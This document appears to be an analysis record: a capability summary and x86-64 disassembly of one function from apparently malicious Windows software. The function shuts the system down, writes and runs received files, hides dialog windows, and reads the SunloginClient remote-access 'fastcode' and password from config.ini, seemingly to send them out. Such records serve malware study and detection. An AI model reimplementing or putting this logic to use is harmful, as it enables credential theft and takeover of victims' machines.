Function at 0x140004090
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Read .ini file
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x460]
sub rsp, 0x560
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0x5a8], rbx
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rbp + 0x450], rax
mov esi, r8d
mov rbx, rdx
mov r12, rcx
movzx eax, byte [rdx]
cmp eax, 0x16
ja case.0x1400040ef.1
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x47bc]
add rcx, rdx
jmp rcx
mov ecx, 1
call fcn.1400027d0
movzx ecx, byte [rbx + 1]
xor edx, edx
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.1400027d0
jmp case.0x1400040ef.1
mov byte [0x1400362dc], 1
jmp case.0x1400040ef.1
lea rdx, [rbx + 1]
lea rcx, str.Group
call fcn.140006960
jmp case.0x1400040ef.1
lea rdx, [rbx + 1]
lea rcx, str.Remark
call fcn.140006960
jmp case.0x1400040ef.1
mov edx, r8d
mov rcx, rbx
call fcn.140005200
jmp case.0x1400040ef.1
lea r9, [r12 + 0x20]
dec r8d
lea rdx, [rbx + 1]
mov rcx, r12
call fcn.1400053b0
jmp case.0x1400040ef.1
dec r8d
lea rdx, [rbx + 1]
mov rcx, r12
call fcn.1400052e0
jmp case.0x1400040ef.1
xor r13d, r13d
nop dword [rax]
lea rcx, str.xrk.exe
call fcn.1400024e0
test eax, eax
je 0x14000449e
mov qword [rsp + 0x40], r13
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140026650]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov qword [rbp + 0x10], 7
mov qword [rbp + 8], r13
mov word [rbp - 8], r13w
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x40]
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 8]
call fcn.140005fb0
nop
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
mov r8d, 4
lea rdx, str.Oray
lea rcx, [rbp - 0x58]
call fcn.140005fb0
nop
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
mov r8d, ntohs
lea rdx, str.SunloginClient
lea rcx, [rbp - 0x80]
call fcn.140005fb0
nop
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r13
mov word [rbp - 0x30], r13w
mov r8d, 0xa
lea rdx, str.config.ini
lea rcx, [rbp - 0x30]
call fcn.140005fb0
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x48]
call fcn.140005610
nop
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.1400056c0
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140005730
nop
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1400056c0
nop
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140005730
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.1400054e0
nop
cmp qword [rbp + 0x38], 8
jb 0x1400042df
mov rcx, qword [rbp + 0x20]
call fcn.140006b50
mov qword [rbp + 0x38], 7
mov qword [rbp + 0x30], r13
mov word [rbp + 0x20], r13w
cmp qword [rbp + 0xd8], 8
jb 0x140004306
mov rcx, qword [rbp + 0xc0]
call fcn.140006b50
mov qword [rbp + 0xd8], 7
mov qword [rbp + 0xd0], r13
mov word [rbp + 0xc0], r13w
cmp qword [rbp + 0xb0], 8
jb 0x140004336
mov rcx, qword [rbp + 0x98]
call fcn.140006b50
mov qword [rbp + 0xb0], 7
mov qword [rbp + 0xa8], r13
mov word [rbp + 0x98], r13w
cmp qword [rbp + 0x88], 8
jb 0x140004363
mov rcx, qword [rbp + 0x70]
call fcn.140006b50
mov qword [rbp + 0x88], 7
mov qword [rbp + 0x80], r13
mov word [rbp + 0x70], r13w
cmp qword [rbp + 0x60], 8
jb 0x14000438a
mov rcx, qword [rbp + 0x48]
call fcn.140006b50
mov qword [rbp + 0x60], 7
mov qword [rbp + 0x58], r13
mov word [rbp + 0x48], r13w
lea rdx, [rbp - 8]
mov rdi, qword [rbp - 8]
mov rcx, qword [rbp + 0x10]
cmp rcx, 8
cmovae rdx, rdi
mov rax, qword [rbp + 8]
lea r8, [rdx + rax*2]
lea rdx, [rbp - 8]
cmovae rdx, rdi
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
lea rcx, [rsp + 0x58]
call fcn.140005980
nop
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400045b4
cmp qword [rsp + 0x70], 0x10
jb 0x14000440f
mov rcx, qword [rsp + 0x58]
call fcn.140006b50
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
cmp qword [rbp - 0x18], 8
jb 0x140004432
mov rcx, qword [rbp - 0x30]
call fcn.140006b50
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r13
mov word [rbp - 0x30], r13w
cmp qword [rbp - 0x68], 8
jb 0x140004453
mov rcx, qword [rbp - 0x80]
call fcn.140006b50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rbp - 0x40], 8
jb 0x140004474
mov rcx, qword [rbp - 0x58]
call fcn.140006b50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
cmp qword [rbp + 0x10], 8
jb 0x140004190
mov rcx, qword [rbp - 8]
call fcn.140006b50
jmp 0x140004190
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [rbx + 0x20]
movaps xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rbx + 0x30]
movaps xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rbx + 0x50]
movaps xmmword [rbp + 0x140], xmm1
mov eax, dword [rbx + 0x60]
mov dword [rbp + 0x150], eax
movzx eax, byte [rbx + 0x64]
mov byte [rbp + 0x154], al
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0xf1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je case.0x1400040ef.1
lea r8d, [rsi - 0x65]
lea rdx, [rbx + 0x65]
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je case.0x1400040ef.1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0xf1]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop dword [rax]
lea rdx, [0x14002e090]
lea rcx, str.32770
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140004580
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004190
mov edi, 0x20
mov word [rbp + 0x230], di
xor edx, edx
mov r8d, 0x102
lea rcx, [rbp + 0x232]
call fcn.14000a8a0
mov word [rbp + 0x340], di
xor edx, edx
mov r8d, 0x102
lea rcx, [rbp + 0x342]
call fcn.14000a8a0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x104
lea r9, [rbp + 0x230]
lea r8, [0x14002df93]
lea rdx, str.fastcode
lea rcx, str.base
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x104
lea r9, [rbp + 0x340]
lea r8, [0x14002df93]
lea rdx, str.password
lea rcx, str.base
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edx, 0xc9
lea ecx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
mov byte [rax], 0xd9
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1c4]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rdi + 1]
lea rdx, [rbp + 0x160]
mov r8d, 0xc8
call fcn.140006b70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov r8, rax
mov rdx, rdi
mov rcx, r12
call fcn.140001560
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
cmp qword [rsp + 0x70], 0x10
jb 0x1400046f4
mov rcx, qword [rsp + 0x58]
call fcn.140006b50
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
cmp qword [rbp - 0x18], 8
jb 0x140004717
mov rcx, qword [rbp - 0x30]
call fcn.140006b50
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r13
mov word [rbp - 0x30], r13w
cmp qword [rbp - 0x68], 8
jb 0x140004738
mov rcx, qword [rbp - 0x80]
call fcn.140006b50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rbp - 0x40], 8
jb 0x140004759
mov rcx, qword [rbp - 0x58]
call fcn.140006b50
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
cmp qword [rbp + 0x10], 8
jb case.0x1400040ef.1
mov rcx, qword [rbp - 8]
call fcn.140006b50
jmp case.0x1400040ef.1
dec r8d
lea rdx, [rbx + 1]
mov rcx, r12
call fcn.140005080
jmp case.0x1400040ef.1
mov rcx, r12
call fcn.140004f10
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.140006b30
mov rbx, qword [rsp + 0x5a8]
add rsp, 0x560
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret